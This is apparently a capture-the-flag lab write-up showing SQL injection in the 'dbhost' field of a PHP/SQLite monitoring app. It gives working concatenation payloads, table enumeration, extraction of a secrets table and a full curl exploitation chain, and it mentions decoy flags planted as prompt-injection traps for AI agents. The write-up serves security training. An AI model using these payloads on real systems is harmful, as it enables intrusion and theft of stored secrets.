Lab 238 — PulseWatch — SQL Injection in Collector Configuration
Lab 238 — PulseWatch — SQL Injection in Collector Configuration
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-14 | Status: Solved Techniques: data_exfiltration_via_reflected_field, decoy_flag_avoidance, schema_enumeration_via_sqlite_master, secondary_query_sqli, sqlite_string_concatenation_injection, time_based_sqli_confirmation
Summary
Task: Infrastructure monitoring platform with collector configuration; dbhost field is parameterized in INSERT but unsanitized in a secondary SQL query (CVE-2023-49085 pattern). Solution: SQLite string concatenation injection via '||(SELECT ...)||' in dbhost field to enumerate tables and extract flag from system_secrets table.
Lab 238 — PulseWatch — SQL Injection in Collector Configuration
Description
PulseWatch is an infrastructure monitoring platform used by DevOps teams to track server health, network uptime, and application metrics. The platform supports distributed data collection through remote 'collector' nodes that poll monitored hosts and report metrics back to the central dashboard.
Administrators can configure multiple collectors, each with its own database connection settings, through the web management interface. The system tracks host resource utilization, generates alerts based on threshold violations, and maintains an audit trail of operator actions.
Your goal is to find the flag hidden somewhere in the application's database. Not all data is exposed through the UI — some tables contain sensitive configuration that only direct database access would reveal.
Credentials: user@test.com / password123
English summary: A PHP infrastructure monitoring app with collector configuration. The dbhost field in the collector save form is parameterized for the main INSERT/UPDATE but also used in a secondary SQL query where it's interpolated directly into the string — a pattern matching CVE-2023-49085 (Cacti pollers.php). The flag is in a system_secrets table not exposed through the UI, while decoy flags are scattered in HTML comments.
Analysis
Reconnaissance
The application is PHP 8.2.26 behind nginx/1.25.5 with a SQLite backend. After logging in with provided credentials (user@test.com / password123), the platform provides:
- Dashboard — server health overview
- Hosts — monitored hosts with search
- Collectors — collector node configuration with database connection settings
- Alerts — threshold-based alerts with filtering
- Settings — application settings
- Audit Log — operator action trail
The collector configuration form includes fields: name, description, dbhost, dbname, dbport, and others. The challenge hint referenced CVE-2023-49085 (Cacti pollers.php SQLi in dbhost parameter) and noted "not every field may be handled the same way."
Decoy Flags
Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs — prompt injection traps targeting AI agents and automated scanners. The real flag is only in the database.
Identifying the Vulnerable Field
Most form fields (name, description, dbname, dbport) are properly parameterized. The edit?id= GET parameter is integer-cast. The hosts search is parameterized. The duplicate endpoint appends " (Copy)" in PHP, not SQL.
The dbhost field is unique: it is stored via parameterized INSERT/UPDATE (safe for the primary query), but is also used in a secondary SQL query (likely a duplicate-check or host-validation query) where it's interpolated directly into the SQL string using single-quote string interpolation without sanitization.
Confirming SQL Injection
Time-based confirmation:
dbhost = test'||randomblob(100000000)||'
Response time: 4.4 seconds vs 0.34 seconds baseline — confirmed SQLi via computational delay.
Reflected/visible confirmation:
dbhost = '||(SELECT 'INJECTED')||'
Result: the dbhost field on the edit page displayed INJECTED — the SQL concatenation was evaluated and the result stored/displayed. This makes it a reflected SQL injection where subquery results are directly visible.
Injection Mechanism
The dbhost value is placed inside single quotes in a SQL expression context within the secondary query:
sql read-only • copy allowed-- Conceptual secondary query (e.g., duplicate check) SELECT ... WHERE dbhost = '<user_input>'
By injecting '||(SELECT ...)||', the attacker breaks out of the string, concatenates an arbitrary subquery result, and closes the string:
sql read-only • copy allowedSELECT ... WHERE dbhost = ''||(SELECT 'INJECTED')||''
SQLite evaluates the || concatenation operator, executes the subquery, and the result is stored/returned as the dbhost value.
Solution
Step 1: Confirm Injection
Save a collector with dbhost set to:
'||(SELECT 'INJECTED')||'
Navigate to the collector edit page — the dbhost field shows INJECTED, confirming reflected SQLi.
Step 2: Enumerate Database Tables
dbhost = '||(SELECT group_concat(name) FROM sqlite_master WHERE type='table')||'
Result:
users, sqlite_sequence, hosts, collectors, alerts, system_secrets, settings, audit_log
The system_secrets table stands out — not exposed through any UI endpoint.
Step 3: Get system_secrets Schema
dbhost = '||(SELECT replace(sql,char(10),' ') FROM sqlite_master WHERE name='system_secrets')||'
Result:
sql read-only • copy allowedCREATE TABLE system_secrets ( id INTEGER PRIMARY KEY AUTOINCREMENT, secret_key TEXT NOT NULL UNIQUE, value TEXT NOT NULL, description TEXT, created_at TEXT DEFAULT (datetime('now')) )
Step 4: Extract Flag
dbhost = '||(SELECT group_concat(secret_key||'='||value, '|') FROM system_secrets)||'
Result:
master_api_key=FLAG{REDACTED}|webhook_signing_key=whk_a8f3e2d1c9b7054612de|encryption_key=enc_7d4f2a1e8c6b395012ad
The flag is stored as the master_api_key value in the system_secrets table.
Full Exploitation Flow (curl)
bash read-only • copy allowedTARGET="https://TARGET.labs.hackadvisor.io" # 1. Login and get session cookie curl -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123" \ -L -s -o /dev/null # 2. Save collector with SQLi payload to extract all secrets curl -b cookies.txt -X POST "$TARGET/collectors/save" \ -d "name=test&description=test&dbhost='||(SELECT group_concat(secret_key||'='||value, '|') FROM system_secrets)||'&dbname=test&dbport=3306" \ -L -s -o /dev/null # 3. View the collector to read the reflected result curl -b cookies.txt "$TARGET/collectors/edit?id=1" -s | grep -o 'FLAG{[^}]*}'
Dead Ends
- SQLi in name, description, dbname, dbport — all properly parameterized
- SQLi in edit?id= GET parameter — integer-cast, not injectable
- SQLi in hosts search — parameterized
- UNION injection in edit endpoint — wrong column count / parameterized
- Duplicate endpoint — appends " (Copy)" in PHP code, not in SQL
- SQLi in alerts filter, settings save — all parameterized
- Decoy flags —
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}appears everywhere in HTML but is fake